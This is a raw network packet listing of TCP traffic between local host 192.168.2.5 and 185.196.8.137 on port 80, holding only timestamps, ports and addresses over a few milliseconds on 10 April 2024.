Apr 10, 2024 10:24:11.676345110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676345110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676553011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.676570892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676570892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676570892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676595926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676634073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.676646948 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.676661015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676661015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676680088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676774979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676774979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676804066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.676904917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676904917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676904917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676904917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676934958 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.677015066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677015066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677015066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677015066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677032948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677155972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677155972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677155972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677155972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677155972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677172899 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.677196980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.677244902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677244902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677244902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677259922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.677390099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.677459002 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.677755117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.677803040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.678025961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.678040981 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.678169012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.678241968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.678333044 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.679155111 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.679222107 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.679296970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.679413080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.679414034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.679414034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.679414034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.679414988 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.679562092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.679562092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.679569960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680022955 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.680073023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680073023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680073023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680449009 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.680473089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680474043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680474043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680474043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680669069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680669069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680669069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680669069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680669069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680788040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680788040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680788040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680788040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680788994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680819035 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.680892944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680892944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680892944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680892944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.680912971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681061983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681061983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681062937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681062937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681062937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681080103 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681092024 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.681196928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681196928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681196928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681196928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681205034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.681313992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681313992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681313992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681313992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681379080 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.681468010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.681487083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681487083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681487083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681624889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681624889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681740999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681740999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681740999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681740999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681740999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681948900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681948900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.681948900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682065010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682065010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682065010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682065010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682065010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682220936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682220936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682221889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682346106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682346106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682346106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682346106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682346106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682501078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682501078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682501078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682612896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682612896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682612896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682612896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682612896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682724953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.682729006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682729006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682729959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682729959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682729959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.682936907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683010101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.683120966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683146000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683212042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683212042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683317900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683317900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683317900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683317900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683317900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683320045 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.683343887 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.683412075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683412075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683412075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683487892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.683506966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683506966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683506966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683506966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683633089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683633089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683633089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683633089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683633089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683731079 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.683743954 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.683748007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683748007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683748960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683748960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683748960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683971882 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.683990955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683990955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.683990955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684109926 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.684199095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684199095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684199095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684261084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684309006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684309006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684396029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684396029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684921026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684921026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.684921026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685010910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685010910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685010910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685187101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.685276031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685276031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685509920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.685532093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685532093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685532093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685532093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685568094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685595989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685811996 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.685832977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685832977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685832977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.685864925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.686003923 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.686024904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.686024904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.686024904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.686105967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.686132908 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.686230898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.686230898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.686230898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.686269999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.686269999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.686444998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.686501026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.686645031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.686793089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.686985970 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.687191963 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.687237978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687237978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687403917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687403917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687405109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687405109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687405109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687427998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687547922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687547922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687547922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687547922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687547922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687572002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687592983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.687696934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.687701941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687910080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687910080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687911034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687911034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687952042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.687968969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688045979 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.688069105 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.688090086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688090086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688090086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688157082 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.688163996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688163996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688267946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688319921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.688385010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688385010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688385010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688385010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688409090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688421011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688483953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688483953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688483953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688584089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688584089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688584089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688584089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688622952 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.688640118 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.688659906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688659906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688659906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688730955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688730955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688977957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.688977957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689008951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.689069033 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.689089060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689089060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689089060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689222097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689222097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689222097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689342022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689342022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689342022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689342022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689342022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689506054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689506054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689518929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.689649105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689649105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689682007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.689749002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689749002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689749002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689749002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689763069 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.689835072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689857960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689949036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.689979076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.689979076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690020084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690135956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690135956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690135956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690135956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690135956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690216064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.690291882 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.690437078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690437078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690437078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690459967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690520048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690520048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690576077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690576077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690576077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690710068 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.690732002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690732002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690732002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690732002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690747976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.690761089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.690859079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.690859079 CEST	49718	80	192.168.2.5	185.196.8.137
